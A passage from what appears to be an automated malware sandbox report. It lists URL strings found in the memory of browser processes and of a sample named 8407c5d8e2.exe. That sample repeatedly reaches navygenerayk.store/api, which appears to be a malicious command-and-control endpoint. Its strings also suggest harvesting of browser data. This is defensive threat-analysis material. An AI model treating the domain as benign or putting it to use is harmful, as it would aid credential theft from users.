Source: chrome.exe, 00000003.00000003.1539091537.000024D80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537881470.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538223319.000024D801458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538084514.000024D801448000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539139447.000024D801478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539056895.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537986472.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538148567.000024D801450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: msedge.exe, 00000008.00000002.1672282873.00002E5C003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000008.00000002.1672282873.00002E5C003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: 8407c5d8e2.exe, 0000001B.00000003.2288642178.0000000005C23000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2288221253.0000000005C41000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2409607471.0000000005461000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2409821169.0000000005465000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2409395760.0000000005471000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2583615797.0000000005473000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2583188538.0000000005493000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2583450380.000000000546A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXID/
Source: 8407c5d8e2.exe, 0000001B.00000003.2288642178.0000000005C23000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2288221253.0000000005C41000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2409607471.0000000005461000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2409821169.0000000005465000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2409395760.0000000005471000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2583615797.0000000005473000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2583188538.0000000005493000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2583450380.000000000546A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXIDv10B
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000003.00000003.1518007041.000024D800DE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518067635.000024D800E7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 8407c5d8e2.exe, 00000024.00000003.2646738530.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2596844258.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2581708360.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/
Source: 8407c5d8e2.exe, 0000001F.00000003.2406515378.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/-
Source: 8407c5d8e2.exe, 0000001F.00000002.2530549611.0000000000C79000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2525581931.0000000000C79000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2526157395.0000000000C79000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/=
Source: 8407c5d8e2.exe, 0000001F.00000003.2406515378.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/M
Source: 8407c5d8e2.exe, 00000024.00000003.2596844258.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2581708360.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/api
Source: 8407c5d8e2.exe, 00000024.00000003.2616409170.0000000000EA5000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2615948450.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/api%
Source: 8407c5d8e2.exe, 0000001F.00000003.2525857437.0000000005453000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/api:
Source: 8407c5d8e2.exe, 0000001B.00000003.2307178940.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2306224353.0000000005C19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/apiHk
Source: 8407c5d8e2.exe, 0000001F.00000002.2530549611.0000000000C09000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2525082942.0000000000C09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/apis
Source: 8407c5d8e2.exe, 0000001F.00000003.2425825745.0000000005454000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2425076599.0000000005454000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/apix
Source: 8407c5d8e2.exe, 0000001B.00000003.2325410059.0000000005C20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/apizk
Source: 8407c5d8e2.exe, 0000001F.00000003.2406515378.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392695677.0000000000C80000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2409973853.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392137545.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/e
Source: 8407c5d8e2.exe, 0000001F.00000002.2530549611.0000000000C79000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2525581931.0000000000C79000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2526157395.0000000000C79000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2425037372.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store/m
Source: 8407c5d8e2.exe, 0000001B.00000003.2370004949.0000000001220000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2525082942.0000000000BF5000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000002.2530549611.0000000000BF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store:443/api
Source: 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store:443/apiK
Source: 8407c5d8e2.exe, 0000001B.00000003.2349458419.0000000001220000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store:443/apiges
Source: 8407c5d8e2.exe, 0000001F.00000002.2530549611.0000000000BF5000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://navygenerayk.store:443/apiicrosoft
Source: msedge.exe, 00000008.00000002.1672282873.00002E5C003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000003.00000003.1538890832.000024D8013CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538148567.000024D801450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000003.00000003.1539253309.000024D8002AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000003.00000003.1538890832.000024D8013CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538148567.000024D801450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000003.00000003.1538890832.000024D8013CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538148567.000024D801450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000008.00000003.1660379221.00002E5C00268000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660471245.00002E5C0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000008.00000003.1660319400.00002E5C00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000003.00000003.1518007041.000024D800DE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518067635.000024D800E7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.1521964278.000024D80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521897368.000024D801158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521680107.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.1518007041.000024D800DE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1518067635.000024D800E7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000003.00000003.1536768640.000024D800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000003.00000003.1539091537.000024D80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537881470.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538223319.000024D801458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538084514.000024D801448000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539139447.000024D801478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539056895.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537986472.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538148567.000024D801450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: 8407c5d8e2.exe, 00000024.00000003.2600763999.000000000558D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 8407c5d8e2.exe, 00000024.00000003.2600763999.000000000558D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1946198929.00000000241CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: file.exe, 00000000.00000002.2048030528.0000000023F50000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2309499310.000000000123A000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2433921371.0000000000C86000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: file.exe, 00000000.00000003.1626835728.0000000001A41000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271035523.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271654657.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392941577.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393227878.0000000005468000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2564805123.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565646789.0000000005478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000003.00000003.1536768640.000024D800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000003.00000003.1536768640.000024D800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000003.00000003.1536768640.000024D800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000003.1534054748.000024D800CE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1514422543.000024D800CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000003.1539204510.000024D800BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537543320.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1583577103.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1521605122.000024D800BC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: file.exe, 00000000.00000003.1626835728.0000000001A41000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271035523.0000000005C78000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286752317.0000000005C73000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2286923813.0000000005C6B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2271654657.0000000005C18000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2392941577.00000000054C8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.00000000054A3000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2408864168.000000000549B000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2393227878.0000000005468000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2564805123.00000000054D8000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2565646789.0000000005478000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582686214.00000000054BD000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000003.1539091537.000024D80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537881470.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538223319.000024D801458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538084514.000024D801448000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539139447.000024D801478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539056895.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537986472.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538148567.000024D801450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000003.00000003.1538148567.000024D801450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000003.00000003.1521680107.000024D8003AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000003.1519073694.000024D80108C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/speech-api/v2/synthesize?
Source: chrome.exe, 00000003.00000003.1536768640.000024D800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000003.00000003.1542195277.000024D80180C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000003.00000003.1536768640.000024D800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000003.00000003.1536768640.000024D800354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000003.00000003.1538890832.000024D8013CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.1538868077.000024D80100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539091537.000024D80139C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537881470.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539139447.000024D801478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1539056895.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1537986472.000024D801380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538890832.000024D8013CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.1538890832.000024D8013CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538148567.000024D801450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ciOLm-Jy21Y.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000003.00000003.1538890832.000024D8013CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1538148567.000024D801450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.gyN29IQRsEA.L.W.O/m=qmd
Source: 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_
Source: file.exe, 00000000.00000002.2048030528.0000000023F50000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000003.2309499310.000000000123A000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2433921371.0000000000C86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: 8407c5d8e2.exe, 0000001B.00000003.2308926892.0000000005C3F000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2427256412.0000000005498000.00000004.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2600288609.00000000054A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: 8407c5d8e2.exe, 00000024.00000003.2600763999.000000000558D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: file.exe, 00000000.00000002.2025550529.0000000000D56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: 8407c5d8e2.exe, 00000024.00000003.2600763999.000000000558D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
